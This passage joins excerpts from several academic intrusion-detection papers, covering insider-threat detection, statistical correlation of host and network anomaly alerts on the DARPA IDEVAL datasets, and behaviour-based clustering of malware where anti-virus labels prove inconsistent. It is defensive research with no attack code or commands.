suggests that insider activity occurs in bursts, like other types of attacks, but
insider activity is spread over days and months. Consequently, analysts may have
to investigate, say, ten false-positives per day, rather than thousands per hour.

As mentioned previously, the probabilities of detection are, strictly speaking,
not 1. For example, we did have three days when our network sensors were
down, there is a small percentage of events that we could not attribute to users,
and there may have been packets that the sensors did not capture. These events
certainly affect a detector’s probability of detection in some way, but it is unclear
whether there is a practical procedure for taking into account all of these factors
and then estimating the probabilities. We suspect that most changes would be
small and that many would uniformly change the probabilities of detection. This
will affect the absolute probabilities, but not the relative probabilities, and we
are most interested in a user’s rank.

Eliciting probabilities from domain experts proved challenging. They had little
difficulty specifying numeric thresholds and conditional probabilities for rules.
However, for the detectors based on statistical methods, it was difficult to com-
municate how the detectors worked in a non-technical manner. Graphical aids
and phrasing questions using percentages rather than probabilities helped, but
even though all of the experts agreed on the importance of modeling individual
activity, we still had trouble eliciting probabilistic cutoffs and conditional prob-
abilities based on these cutoffs. Ultimately, it was easier for us to present and
for experts to specify a number rather than a probability or a percentage.
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We have attempted to convey that detecting malicious insiders is challenging
and different than detecting intruders. One key difference is the availability of
contextual information for insiders, information that one rarely has for intrud-
ers. With the help of such information, organizations must understand how its
users access and manipulate information. To accomplish this, we must attribute
actions to users, rather than to ip addresses, which in turn, raises important
issues of privacy, especially for researchers.

Complicating matters is the lack of public data sets and information regarding
insider behavior and activity. One solution is to engineer data sets. There have
been attempts to do so for intrusion detection, mostly notably the mit Lincoln
Labs data set [11], but no similar data set exists for insider threat. Engineered
data sets are not without problems, such as guaranteeing that the malicious
activity is in correct proportion to the benign activity and that the benign
activity is truly representative of the target environment [12]. Our collection
of scenarios and information-use events is an attempt to address these concerns
for insiders who violate need-to-know.

7 Related Work

We provide only a brief review of related work, but see Chapter 25 of Bishop [13]
for a more complete survey. Denning [14] referred to specific instances of such
activity as leakage and inference by legitimate users: Leakage involves a legiti-
mate user leaking or exfiltrating information. Inference is inferring information
based on queries to a database or a search engine.

One early attempt to address the problem of misuse was ides [15], which
used statistical profiles of user behavior to detect masqueraders by observing
departures from established patterns. (It also applied rules to identify specific
intrusions.) Another is unicorn [16], which examined audit records for misuse by
forming profiles using counts over multiple time scales and by applying rules to
transform profiles into anomalies, into likely misuse events, and then into alarms.
In contrast, elicit is geared more toward the misuse of user-level privilege and
has a broader notion of context, such as social networks and job descriptions.

Several studies have examined methods of detecting masqueraders from com-
mand sequences [5,17,18]. The main points of departure between this work and
ours are, we are monitoring network traffic; we are interested in legitimate users
acting as themselves, but in a manner that is uncharacteristic and inappropri-
ate; finally, to improve detection, we bring to bear contextual information about
users and the information they access.

The research most similar to ours is that of Maybury et al. [19]. Workshop
participants built a database of 11 million events collected over a period of 3
months from 18 hosts of a 31-node intranet with 75 users. There is overlap with
our work, but they examined different sources of information, approaches, and
insider profiles.
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8 Concluding Remarks

In this paper, we described the construction and evaluation of elicit, a sys-
tem designed to help analysts investigate insider threats. We are interested in
malicious insiders who operate within their privileges, but outside the scope of
their duties. This is quite different from intrusion detection. We stressed the im-
portance of contextual information and of tracking how individuals access and
manipulate information. One rarely has this information for detecting intruders,
but it is critical for detecting insiders.
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Abstract. In this paper we analyze the use of different types of sta-
tistical tests for the correlation of anomaly detection alerts. We show
that the Granger Causality Test, one of the few proposals that can be
extended to the anomaly detection domain, strongly depends on good
choices of a parameter which proves to be both sensitive and difficult
to estimate. We propose a different approach based on a set of simpler
statistical tests, and we prove that our criteria work well on a simplified
correlation task, without requiring complex configuration parameters.

1 Introduction

One of the most challenging tasks in intrusion detection is to create a unified
vision of the events, fusing together alerts from heterogeneous monitoring de-
vices. This alert fusion process can be defined as the correlation of aggregated
streams of alerts. Aggregation is the grouping of alerts that both are close in
time and have similar features; it fuses together different “views” of the same
event. Alert correlation has to do with the recognition of logically linked alerts.
“Correlation” does not necessarily imply “statistical correlation”, but statistical
correlation based methods are sometimes used to reveal these relationships.

Alert fusion is more complex when taking into account anomaly detection
systems, because no information on the type or classification of the observed
attack is available to the fusion algorithms. Most of the algorithms proposed
in the current literature on correlation make use of such information, and are
therefore inapplicable to purely anomaly based intrusion detection systems.

In this work, we explore the use of statistical causality tests, which have been
proposed for the correlation of IDS alerts, and which could be applied to anomaly
based IDS as well. We focus on the use of Granger Causality Test (GCT), and
show that its performance strongly depends on a good choice of a parameter
which proves to be sensitive and difficult to estimate. We redefine the causality
problem in terms of a simpler statistical test, and experimentally validate it.

2 Problem Statement and State of the Art

The desired output of an alert fusion process is a compact, high-level view of
what is happening on a (usually large and complex) network. In this work we use
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Fig. 1. A diagram illustrating alert fusion terminology as used in this work

a slightly modified version of the terminology proposed in [17]. Alerts streams are
collected from different IDS sources, normalized and aggregated; alert correlation
is the very final step of the process. In [17] the term “fusion” is used for the phase
we name “aggregation”, whereas we use the former to denote the whole process.
Fig. 1 summarizes the terminology.

In [9] we propose a fuzzy time-based aggregation technique, showing that it
yields good performance in terms of false positive reduction. Here, we focus on
the more challenging correlation phase. Effective and generic correlation algo-
rithms are difficult to design, especially if the objective is the reconstruction of
complex attack scenarios.

A technique for alert correlation based on state-transition graphs is shown
in [3]. The use of finite state automata enables for complex scenario descriptions,
but it requires known scenarios signatures. It is also unsuitable for pure anomaly
detectors which cannot differentiate among different types of events. Similar
approaches, with similar strengths and shortcomings but different formalisms,
have been tried with the specification of pre- and post-conditions of the attacks
[15], sometimes along with time-distance criteria [12]. It is possible to mine
scenario rules directly from data, either in a supervised [2] or unsupervised [5]
fashion. Both approaches use alert classifications as part of their rules.

None of these techniques would work for anomaly detection systems, as they
rely on alert names or classification to work. The best examples of algorithms
that do not require such features are based on time-series analysis and modeling.
For instance, [19] is based on the construction of time-series by counting the
number of alerts occurring into sampling intervals; the exploitation of trend
and periodicity removal algorithms allows to filter out predictable components,
leaving real alerts only as the output. More than a correlation approach, this is
a false-positive and noise-suppression approach, though.

The correlation approach investigated in [14] and based on the GCT also does
not require prior knowledge, and it drew our attention as one of the few viable
proposal for anomaly detection alert correlation in earlier literature. We will
describe and analyze this approach in detail in Section 4.

3 Problems in Evaluating Alert Correlation Systems

Evaluation techniques for alert fusion systems are still limited to a few proposals,
and practically and theoretically challenging to develop [9]. Additionally, the
common problem of the lack of reliable sources of data for benchmarking impacts
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heavily also on the evaluation of correlation systems. Ideally, we need both host
and network datasets, fully labeled, with complex attack scenarios described in
detail. These data should be freely available to the scientific community. These
requirements rule out real-world dumps.

The only datasets of this kind effectively available are the ones by DARPA
(IDEVAL datasets). Of course, since this data set was created to evaluate IDS
sensors and not to assess correlation tools, it does not include sensor alerts. The
alerts have to be generated by running various sensors on the data. The 1999
dataset [7], which we used for this work, has many known shortcomings. Firstly,
it is evidently and hopelessly outdated. Moreover, a number of flaws have been
detected and criticized in the network traces [10,11]. More recently, we analyzed
the host-based system call traces, and showed [8,21] that they are ridden with
problems as well.

For this work these basic flaws are not extremely dangerous, since the propaga-
tion of attack effects (from network to hosts) is not affected by any of the known
flaws of IDEVAL, and in fact we observed it to be quite realistically present.
What could be a problem is the fact that intrusion scenarios are too simple and
extremely straightforward. Additionally, many attacks are not detectable in both
network and host data (thus making the whole point of correlation disappear).
Nowadays, networks and attackers are more sophisticated and attack scenarios
are much more complex than in 1999, operating at various layers of the network
and application stack.

The work we analyze closely in the following [14] uses both the DEFCON 9
CTF dumps and the DARPA Cyber Panel Correlation Technology Validation
(CTV) [4] datasets for the evaluation of an alert correlation prototype. The for-
mer dataset is not labeled and does not contain any background traffic, so in
fact (as the authors themselves recognize) it cannot be used for a proper evalua-
tion, but just for qualitative analysis. On the contrary, the DARPA CTV effort,
carried out in 2002, created a complex testbed network, along with background
traffic and a set of attack scenarios. The alerts produced by various sensors dur-
ing these attacks were collected and given as an input to the evaluated correlation
tools. Unfortunately, this dataset is not available for further experimentation.

For all the previous reasons, in our testing we will use the IDEVAL dataset
with the following simplification: we will just try to correlate the stream of
alerts coming from a single host-based IDS (HIDS) sensor with the correspond-
ing alerts from a single network-based IDS (NIDS), which is monitoring the
whole network. To this end, we ran two anomaly-based IDS prototypes (both
described in [8,20,21]) on the whole IDEVAL testing dataset. We ran the NIDS
prototype on tcpdump data and collected 128 alerts for attacks against the host
pascal.eyrie.af.mil [6]. The NIDS also generated 1009 alerts related to other
hosts. Using the HIDS prototype we generated 1070 alerts from the dumps of the
host pascal.eyrie.af.mil. With respect to these alerts, the NIDS was capable
of detecting almost 66% of the attacks with less than 0.03% of false positives;
the HIDS performs even better with a detection rate of 98% and 1.7% of false
positives.
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Fig. 2. p-value (-a) and GCI (-b) vs. p with w = w1 = 60s (1-) and w = w2 = 1800s
(2-) “NetP (k) � HostP (k)” (dashed line), “HostP (k) � NetP (k)” (solid line)

In the following, we use this shorthand notation: Net is the substream of
all the alerts generated by the NIDS. HostP is the substream of all the alerts
generated by the HIDS installed on pascal.eyrie.af.mil, while NetP regards
all the alerts (with pascal as a target) generated by the NIDS; finally, NetO =
Net\NetP indicates all the alerts (with all but pascal as a target) generated
by the NIDS.

4 The Granger Causality Test

In [14] Qin and Lee propose an interesting algorithm for alert correlation which
seems suitable also for anomaly-based alerts. Alerts with the same feature set
are grouped into collections of time-sorted items belonging to the same “type”
(following the concept of type of [19]). Subsequently, frequency time series are
built, using a fixed size sliding-window: the result is a time-series for each collec-
tion of alerts. The prototype then exploits the GCT [16], a statistical hypothesis
test capable of discovering causality relationships between two time series when
they are originated by linear, stationary processes. The GCT gives a stochastic
measure, called Granger Causality Index (GCI), of how much of the history of
one time series (the supposed cause) is needed to “explain” the evolution of the
other one (the supposed consequence, or target). The GCT is based on the es-
timation of two models: the first is an Auto Regressive model (AR), in which
future samples of the target are modeled as influenced only by past samples of
the target itself; the second is an Auto Regressive Moving Average eXogenous
(ARMAX) model, which also takes into account the supposed cause time series
as an exogenous component. A statistical F-test built upon the model estima-
tion errors selects the best-fitting model: if the ARMAX fits better, the cause
effectively influences the target.

In [14] the unsupervised identification of “causally related” events is performed
by repeating the above procedure for each couple of time-series. The advantage of
the approach is that it does not require prior knowledge (even if it may use attack
probability values, if available, for an optional prioritization phase). However,
in a previous work [9] we showed that the GCT fails however in recognizing
“meaningful” relationships between IDEVAL attacks.
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Fig. 3. The optimal time lag p̂ given by the AIC criterion strongly varies over time

We tested the sensitivity of the GCT to the choice of two parameters: the
sampling time, w, and the time lag p (that is, the order of the AR). In our simple
experiment, the expected result is that NetP � HostP , and that HostP �
NetP (the � indicates “causality” while � is its negation). In [14] the sampling
time was arbitrarily set to w = 60s, while the choice of p is not documented.
However, our experiments show that the choice of these parameters can strongly
influence the results of the test. In Fig. 2 (1-a/b) we plotted the p-value and
the GCI of the test for different values of p (w = 60s). In particular, the dashed
line corresponds to the test NetP (k) � HostP (k), and the solid line to the test
HostP (k) � NetP (k). We recall that if the p-value is lower than the significance
level, the null hypothesis is refused. Notice how different choices of p can lead to
inconclusive or even opposite results. For instance, with α = 0.20 and with 2 ≤
p ≤ 3, the result is that NetP (k) � HostP (k) and that HostP (k) � NetP (k).
As we detailed in [9] (Fig. 2 (2-a/b)), other values of p lead to awkward result
that both HostP (k) � NetP (k) and NetP (k) � HostP (k).

A possible explanation is that the GCT is significant only if both the linear
regression models are optimal, in order to calculate the correct residuals. If we
use the Akaike Information Criterion (AIC) [1] to estimate the optimal time lag
p̂ over different windows of data, we find out that p̂ wildly varies over time, as it
is shown in Fig. 3. The fact that there is no stable optimal choice of p, combined
with the fact that the test result significantly depends on it, makes us doubt
that the Granger causality test is a viable option for general alert correlation.
The choice of w seems equally important and even more difficult to perform,
except by guessing.

Of course, our testing is not conclusive: the IDEVAL alert sets may simply
not be adequate for showing causal relationships. Another, albeit more unlikely,
explanation, is that the Granger causality test may not be suitable for anomaly
detection alerts: in fact, in [14] it has been tested on misuse detection alerts.
But in fact there are also theoretical reasons to doubt that the application of
the Granger test can lead to stable, good results. First, the test is asymptotic
w.r.t. p meaning that the results reliability decreases as p increases because of
the loss of degrees of freedom. Second, it is based on the strong assumption of
linearity in the auto-regressive model fitting step, which strongly depends on
the observed phenomenon. In the same way, the stationarity assumption of the
model does not always hold.
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5 Modeling Alerts as Stochastic Processes

Instead of interpreting alert streams as time series (as proposed by the GCT-
based approach), we propose to change point of view by using a stochastic model
in which alerts are modeled as (random) events in time. This proposal can be seen
as a formalized extension of the approach introduced in [17], which correlates
alerts if they are fired by different IDS within a “negligible” time frame, where
“negligible” is defined with a crisp, fixed threshold.

For simplicity, once again we describe our technique in the simple case of a
single HIDS and a single NIDS which monitors the whole network. The concepts,
however, can be easily generalized to take into account more than two alert
streams, by evaluating them couple by couple. For each alert, we have three
essential information: a timestamp, a “target” host (fixed, in the case of the
HIDS, to the host itself), and the generating sensor (in our case, a binary value).

We reuse the scenario and data we already presented in Section 4 above.
With a self-explaining notation, we also define the following random variables:
TNetP are the arrival times of network alerts in NetP (TNetO, THostP are simi-
larly defined); εNetP (εNetO) are the delays (caused by transmission, processing
and different granularity in detection) between a specific network-based alert
regarding pascal (not pascal) and the corresponding host-based one. The ac-
tual values of each T(·) is nothing but the set of timestamps extracted from the
corresponding alert stream. We reasonably assume that εNetP and TNetP are
stochastically independent (the same is assumed for εNetO and TNetO).

In an ideal correlation framework with two equally perfect IDS with a 100%
DR and 0% FPR, if two alert streams are correlated (i.e., they represent inde-
pendent detections of the same attack occurrences by different IDSes [17]), they
also are “close” in time. NetP and HostP should evidently be an example of
such a couple of streams. Obviously, in the real world, some alerts will be missing
(because of false negatives, or simply because some of the attacks are detectable
only by a specific type of detector), and the distances between related alerts will
therefore have some higher variability. In order to account for this, we can “cut
off” alerts that are too far away from a corresponding alert in the other time
series, presuming them to be singletons. In our case, knowing that single attacks
did not last more than 400s in the original dataset, we tentatively set a cutoff
threshold at this point.

Under the given working assumptions and the proposed stochastic model, we
can formalize the correlation problem as a set of two statistical hypothesis tests:

H0 : THostP = TNetP + εNetP vs. H1 : THostP = TNetP + εNetP (1)
H0 : THostP = TNetO + εNetO vs. H1 : THostP = TNetO + εNetO (2)

Let {ti,k} be the observed timestamps of Ti ∀i ∈ {HostP, NetP, NetO}, the
meaning of the first test is straightforward: within a random amount of time,
εNetP , the occurring of a host alert, tHostP,k, is preceded by a network alert,
tNetP,k. If this does not happen for a statistically significant amount of events,
the test result is that alert stream TNetP is uncorrelated to THostP ; in this case,
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Fig. 4. Histograms vs. est. density (red dashes) and Q-Q plots, for both f̂O and f̂P

we have enough statistical evidence for refusing H1 and accepting the null one.
Symmetrically, refusing the null hypothesis of the second test means that the
NetO alert stream (regarding to all hosts but pascal) is correlated to the alert
stream regarding pascal.

Note that, the above two tests are strongly related to each other: in an
ideal correlation framework, it cannot happen that both “NetP is correlated
to HostP” and “NetO is correlated to HostP”: this would imply that the net-
work activity regarding to all hosts but pascal (which raises NetO) has to do
with the host activity of pascal (which raises HostP ) with the same order of
magnitude of NetP , that is an intuitively contradictory conclusion. Therefore,
the second test acts as a sort of “robustness” criterion.

From our alerts, we can compute a sample of εNetP by simply picking, for
each value in NetP , the value in HostP which is closest, but greater (applying
a threshold as defined above). We can do the same for εNetO, using the alerts in
NetO and HostP .

The next step involves the choice of the distributions of the random variables
we defined above. Typical distributions used for modeling random occurrences
of timed events fall into the family of exponential Probability Density Functions
(PDF)s [13]. In particular, we decided to fit them with Gamma PDFs, because
our experiments show that such a distribution is a good choice for both the
εNetP and εNetO.

The estimation of the PDF of εNetP , fP := fεNetP , and εNetO, fO := fεNetO ,
is performed using the well known Maximum Likelihood (ML) technique [18]
as implemented in the GNU R software package: the results are summarized in
Fig. 4. fP and fO are approximated by Gamma[3.0606, 0.0178] and Gamma
[1.6301, 0.0105], respectively (standard errors on parameters are 0.7080, 0.0045
for fP and 0.1288, 0.009 for fO). From now on, the estimator of a given density
f will be indicated as f̂ .

Fig. 4 shows histograms vs. estimated density (red, dashed line) and quantile-
quantile plots (Q-Q plots), for both f̂O and f̂P . We recall that Q-Q plots are
an intuitive graphical “tool” for comparing data distributions by plotting the
quantile of the first distribution against the quantile of the other one.

Considering that the samples sizes of ε(·) are around 40, Q-Q plots empirically
confirms our intuition: in fact, f̂O and f̂P are both able to explain real data
well, within inevitable but negligible estimation errors. Even if f̂P and f̂O are
both Gamma-shaped, it must be noticed that they significantly differ in their
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Fig. 5. Histograms vs. est. density (red dashes) for both f̂O and f̂P (IDEVAL 1998)

parametrization; this is a very important result since it allows to set up a proper
criterion to decide whether or not εNetP and εNetO are generated by the same
phenomenon.

Given the above estimators, a more precise and robust hypotheses test can
be now designed. The Test 1 and 2 can be mapped into two-sided Kolmogorov-
Smirnov (KS) tests [13], achieving the same result in terms of decisions:

H0 : εNetP ∼ fP vs. H1 : εNetP ∼ fP (3)
H0 : εNetO ∼ fO vs. H1 : εNetO ∼ fO (4)

where the symbol ∼ means “has the same distribution of”. Since we do not know
the real PDFs, estimators are used in their stead. We recall that the KS-test is
a non-parametric test to compare a sample (or a PDF) against a PDF (or a
sample) to check how much they differs from each other (or how much they
fit). Such tests can be performed, for instance, with ks.test() (a GNU R native
procedure): resulting p-values on IDEVAL 1999 are 0.83 and 0.03, respectively.

Noticeably, there is a significant statistical evidence to accept the null hypoth-
esis of Test 3. It seems that the ML estimation is capable of correctly fitting a
Gamma PDF for fP (given εNetP samples), which double-checks our intuition
about the distribution. The same does not hold for fO: in fact, it cannot be
correctly estimated, with a Gamma PDF, from εNetO. The low p-value for Test
4 confirms that the distribution of εNetO delays is completely different than the
one of εNetP . Therefore, our criterion doest not only recognize noisy delay-based
relationships among alerts stream if they exists ; it is also capable of detecting if
such a correlation does not hold.

We also tested our technique on alerts generated by our NIDS/HIDS running
on IDEVAL 1998 (limiting our analysis to the first four days of the first week),
in order to cross-validate the above results. We prepared and processed the
data with the same procedures we described above for the 1999 dataset. Start-
ing from almost the same proportion of host/net alerts against either pascal
or other hosts, the ML-estimation has computed the two Gamma densities
shown in Fig. 5: fP and fO are approximated by Gamma(3.5127, 0.1478) and
Gamma(1.3747, 0.0618), respectively (standard errors on estimated parameters
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are 1.3173, 0.0596 for fP and 0.1265, 0.0068 for fO). These parameter are very
similar to the ones we estimated for the IDEVAL 1999 dataset. Furthermore,
with p-values of 0.51 and 0.09, the two KS tests confirm the same statistical
discrepancies we observed on the 1999 dataset.

The above numerical results show that, by interpreting alert streams as ran-
dom processes, there are several (stochastic) dissimilarities between net-to-host
delays belonging to the same net-host attack session, and net-to-host delays be-
longing to different sessions. Exploiting these dissimilarities, we may find out
the correlation among streams in an unsupervised manner, without the need to
predefine any parameter.

6 Conclusions

In this paper we analyzed the use of of different types of statistical tests for the
correlation of anomaly detection alerts, a problem which has little or no solu-
tions available today. One of the few correlation proposals that can be applied
to anomaly detection is the use of a Granger Causality Test (GCT). After dis-
cussing a possible testing methodology, we observed that the IDEVAL datasets
traditionally used for evaluation have various shortcomings, that we partially
addressed by using the data for a simpler scenario of correlation, investigating
only the link between a stream of host-based alerts for a specific host, and the
corresponding stream of alerts from a network based detector.

We examined the usage of a GCT as proposed in earlier works, showing that it
relies on the choice of non-obvious configuration parameters which significantly
affect the final result. We also showed that one of these parameters (the order
of the models) is absolutely critical, but cannot be uniquely estimated for a
given system. Instead of the GCT, we proposed a simpler statistical model of
alert generation, describing alert streams and timestamps as stochastic variables,
and showed that statistical tests can be used to create a reasonable criterion for
distinguishing correlated and non correlated streams. We proved that our criteria
work well on the simplified correlation task we used for testing, without requiring
complex configuration parameters.

This is an exploratory work, and further investigations of this approach on
real, longer sequences of data, as well as further refinements of the tests and the
criteria we proposed, are surely needed. Another possible extension of this work
is the investigation of how these criteria can be used to correlate anomaly and
misuse-based alerts together, in order to bridge the gap between the existing
paradigms of intrusion detection.
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Abstract. Numerous attacks, such as worms, phishing, and botnets,
threaten the availability of the Internet, the integrity of its hosts, and
the privacy of its users. A core element of defense against these attacks
is anti-virus (AV) software—a service that detects, removes, and charac-
terizes these threats. The ability of these products to successfully char-
acterize these threats has far-reaching effects—from facilitating sharing
across organizations, to detecting the emergence of new threats, and as-
sessing risk in quarantine and cleanup. In this paper, we examine the
ability of existing host-based anti-virus products to provide semantically
meaningful information about the malicious software and tools (or mal-
ware) used by attackers. Using a large, recent collection of malware that
spans a variety of attack vectors (e.g., spyware, worms, spam), we show
that different AV products characterize malware in ways that are incon-
sistent across AV products, incomplete across malware, and that fail to
be concise in their semantics. To address these limitations, we propose a
new classification technique that describes malware behavior in terms of
system state changes (e.g., files written, processes created) rather than
in sequences or patterns of system calls. To address the sheer volume
of malware and diversity of its behavior, we provide a method for auto-
matically categorizing these profiles of malware into groups that reflect
similar classes of behaviors and demonstrate how behavior-based cluster-
ing provides a more direct and effective way of classifying and analyzing
Internet malware.

1 Introduction

Many of the most visible and serious problems facing the Internet today depend
on a vast ecosystem of malicious software and tools. Spam, phishing, denial of
service attacks, botnets, and worms largely depend on some form of malicious
code, commonly referred to as malware. Malware is often used to infect the com-
puters of unsuspecting victims by exploiting software vulnerabilities or tricking
users into running malicious code. Understanding this process and how attackers
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use the backdoors, key loggers, password stealers, and other malware functions
is becoming an increasingly difficult and important problem.

Unfortunately, the complexity of modern malware is making this problem
more difficult. For example, Agobot [3], has been observed to have more than
580 variants since its initial release in 2002. Modern Agobot variants have the
ability to perform DoS attacks, steal bank passwords and account details, prop-
agate over the network using a diverse set of remote exploits, use polymorphism
to evade detection and disassembly, and even patch vulnerabilities and remove
competing malware from an infected system [3]. Making the problem even more
challenging is the increase in the number and diversity of Internet malware. A
recent Microsoft survey found more than 43,000 new variants of backdoor trojans
and bots during the first half of 2006 [20]. Automated and robust approaches to
understanding malware are required to successfully stem the tide.

Previous efforts to automatically classify and analyze malware (e.g., AV, IDS)
focused primarily on content-based signatures. Unfortunately, content-based sig-
natures are inherently susceptible to inaccuracies due to polymorphic and meta-
morphic techniques. In addition, the signatures used by these systems often
focus on a specific exploit behavior—an approach increasingly complicated by
the emergence of multi-vector attacks. As a result, IDS and AV products charac-
terize malware in ways that are inconsistent across products, incomplete across
malware, and that fail to be concise in their semantics. This creates an en-
vironment in which defenders are limited in their ability to share intelligence
across organizations, to detect the emergence of new threats, and to assess risk
in quarantine and cleanup of infections.

To address the limitations of existing automated classification and analysis
tools, we have developed and evaluated a dynamic analysis approach, based on
the execution of malware in virtualized environments and the causal tracing of
the operating system objects created due to malware’s execution. The reduced
collection of these user-visible system state changes (e.g., files written, processes
created) is used to create a fingerprint of the malware’s behavior. These fin-
gerprints are more invariant and directly useful than abstract code sequences
representing programmatic behavior and can be directly used in assessing the
potential damage incurred, enabling detection and classification of new threats,
and assisting in the risk assessment of these threats in mitigation and clean
up. To address the sheer volume of malware and the diversity of its behavior,
we provide a method for automatically categorizing these malware profiles into
groups that reflect similar classes of behaviors. These methods are thoroughly
evaluated in the context of a malware dataset that is large, recent, and diverse
in the set of attack vectors it represents (e.g., spam, worms, bots, spyware).

This paper is organized as follows: Section 2 describes the shortcomings of
existing AV software and enumerates requirements for effective malware clas-
sification. We present our behavior-based fingerprint extraction and fingerprint
clustering algorithm in Section 3. Our detailed evaluation is shown in Section 4.
We present existing work in Section 5, offer limitations and future directions in
Section 6, and conclude in Section 7.
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2 Anti-Virus Clustering of Malware

Host-based AV systems detect and remove malicious threats from end systems.
As a normal part of this process, these AV programs provide a description for the
malware they detected. The ability of these products to successfully characterize
these threats has far-reaching effects—from facilitating sharing across organiza-
tions, to detecting the emergence of new threats, and assessing risk in quarantine
and cleanup. However, for this information to be effective, the descriptions pro-
vided by these systems must be meaningful. In this section, we evaluate the
ability of host-based AV to provide meaningful intelligence on Internet malware.

2.1 Understanding Anti-Virus Malware Labeling

In order to accurately characterize the ability of AV to provide meaningful labels
for malware, we first need to acquire representative datasets. In this paper, we
use three datasets from two sources, as shown in Table 1. One dataset, legacy,
is taken from a network security community malware collection and consists of
randomly sampled binaries from those posted to the community’s FTP server
in 2004. In addition, we use a large, recent six-month collection of malware
and a six-week subset of that collection at the beginning of the dataset col-
lection period. The small and large datasets are a part of the Arbor Malware
Library (AML). Created by Arbor Networks, Inc. [1], the AML consists of bi-
naries collected by a variety of techniques including Web page crawling [28],
spam traps [26], and honeypot-based vulnerability emulation [2]. Since each of
these methods collects binaries that are installed on the target system
without the user’s permission, the binaries collected are highly likely
to be malicious. Almost 3,700 unique binaries were collected over a six-month
period in late 2006 and early 2007.

Table 1. The datasets used in this paper: A large collection of legacy binaries from
2004, a small six-week collection from 2006, and a large six-month collection of malware
from 2006/2007. The number of unique labels provided by five AV systems is listed for
each dataset.

Dataset Date Number of Number of Unique Labels
Name Collected Unique MD5s McAfee F-Prot ClamAV Trend Symantec
legacy 01 Jan 2004 - 31 Dec 2004 3,637 116 1216 590 416 57
small 03 Sep 2006 - 22 Oct 2006 893 112 379 253 246 90
large 03 Sep 2006 - 18 Mar 2007 3,698 310 1,544 1,102 2,035 50

After collecting the binaries, we analyzed them using the AV scanners shown
in Table 2. Each of the scanners was the most recent available from each vendor
at the time of the analysis. The virus definitions and engines were updated
uniformly on November 20th, 2006, and then again on March 31st, 2007. Note
that the first update occured more than a year after the legacy collection ended
and one month after the end of the small set collection. The second update was
13 days after the end of the large set collection.
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Table 2. Anti-virus software, vendors, versions, and signature files used in this paper.
The small and legacy datasets were evaluated with a version of these systems in No-
vember of 2006 and both small and large were evaluated again with a version of these
systems in March of 2007.

Label Software Vendor Version Signature File
McAfee Virus Scan McAfee, Inc. v4900 20 Nov 2006

v5100 31 Mar 2007
F-Prot F-Prot Anti-virus FRISK Software 4.6.6 20 Nov 2006

International 6.0.6.3 31 Mar 2007
ClamAV Clam Anti-virus Tomasz Kojm and 0.88.6 20 Nov 2006

the ClamAV Team 0.90.1 31 Mar 2007
Trend PC-cillin Internet Trend Micro, Inc. 8.000-1001 20 Nov 2006

Security 2007 8.32.1003 31 Mar 2007
Symantec Norton Anti-virus Symantec 14.0.0.89 20 Nov 2006

2007 Corporation 14.0.3.3 31 Mar 2007

AV systems rarely use the exact same labels for a threat, and users of these
systems have come to expect simple naming differences (e.g., W32Lovsan.worm.a
versus Lovsan versus WORM MSBLAST.A) across vendors. It has always been
assumed, however, that there existed a simple mapping from one system’s name
space to another, and recently investigators have begun creating projects to unify
these name spaces [4]. Unfortunately, the task appears daunting. Consider, for
example, the number of unique labels created by various systems. The result
in Table 1 is striking—there is a substantial difference in the number of unique
labels created by each AV system. While one might expect small differences, it
is clear that AV vendors disagree not only on what to label a piece of malware,
but also on how many unique labels exist for malware in general.

Fig. 1. A Venn diagram of malware labeled as SDBot variants by three AV products
in the legacy dataset. The classification of SDBot is ambiguous.

One simple explanation for these differences in the number of labels is that
some of these AV systems provide a finer level of detail into the threat landscape
than the others. For example, the greater number of unique labels in Table 1 for
F-Prot may be the result of F-Prot’s ability to more effectively differentiate small
variations in a family of malware. To investigate this conjecture, we examined the
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labels of the legacy dataset produced by the AV systems and, using a collection
of simple heuristics for the labels, we created a pool of malware classified by
F-Prot, McAfee, and ClamAV as SDBot [19]. We then examined the percentage
of time each of the three AV systems classified these malware samples as part
of the same family. The result of this analysis can be seen in Figure 1. Each AV
classifies a number of samples as SDBot, yet the intersection of these different
SDBot families is not clean, since there are many samples that are classified as
SDBot by one AV and as something else by the others. It is clear that these
differences go beyond simple differences in labeling—anti-virus products assign
distinct semantics to differing pieces of malware.

2.2 Properties of a Labeling System

Our previous analysis has provided a great deal of evidence indicating that la-
beling across AV systems does not operate in a way that is useful to researchers,
operators, and end users. Before we evaluate these systems any further, it is im-
portant to precisely define the properties an ideal labeling system should have.
We have identified three key design goals for such a labeling system:

– Consistency. Identical items must and similar items should be assigned the
same label.

– Completeness. A label should be generated for as many items as possible.
– Conciseness. The labels should be sufficient in number to reflect the unique

properties of interest, while avoiding superfluous labels.

2.3 Limitations of Anti-Virus

Having identified consistency, completeness, and conciseness as the design goals
of a labeling system, we are now prepared to investigate the ability of AV systems
to meet these goals.

Table 3. The percentage of time two binaries classified as the same by one AV are
classified the same by other AV systems. Malware is inconsistently classified across AV
vendors.

legacy small
McAfee F-Prot ClamAV Trend Symantec McAfee F-Prot ClamAV Trend Symantec

McAfee 100 13 27 39 59 100 25 54 38 17
F-Prot 50 100 96 41 61 45 100 57 35 18
ClamAV 62 57 100 34 68 39 23 100 32 13
Trend 67 18 25 100 55 45 23 52 100 16
Symantec 27 7 13 14 100 42 25 46 33 100

Consistency. To investigate consistency, we grouped malware into categories
based on the labels provided by AV vendors. For each pair of distinct malware
labeled as the same by a particular system, we compared the percentage of time
the same pair was classified by other AV systems as the same. For example, two
binaries in our legacy dataset with different MD5 checksums were labeled as
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Table 4. The percentage of malware samples detected across datasets and AV vendors.
AV does not provide a complete categorization of the datasets.

Dataset AV Updated Percentage of Malware Samples Detected
Name McAfee F-Prot ClamAV Trend Symantec
legacy 20 Nov 2006 100 99.8 94.8 93.73 97.4
small 20 Nov 2006 48.7 61.0 38.4 54.0 76.9
small 31 Mar 2007 67.4 68.0 55.5 86.8 52.4
large 31 Mar 2007 54.6 76.4 60.1 80.0 51.5

W32-Blaster-worm-a by McAfee. These two binaries were labeled consistently
by F-Prot (both as msblast), and Trend (both as msblast), but inconsistently
by Symantec (one blaster and one not detected) and ClamAV (one blaster, one
dcom.exploit). We then selected each system in turn and used its classification
as the base. For example, Table 3 shows that malware classified by McAfee as
the same was only classified as the same by F-Prot 13% of the time. However,
malware classified by F-Prot as the same was only classified as the same by
McAfee 50% of the time. Not only do AV systems place malware into different
categories, these categories don’t hold the same meaning across systems.

Completeness. As discussed earlier, the design goal for completeness is to
provide a label for each and every item to be classified. For each of the datasets
and AV systems, we examined the percentage of time the AV systems detected
a given piece of malware (and hence provided a label). A small percentage of
malware samples are still undetected a year after the collection of the legacy
datasets (Table 4). The results for more recent samples are even more profound,
with almost half the samples undetected in the small dataset and one quarter
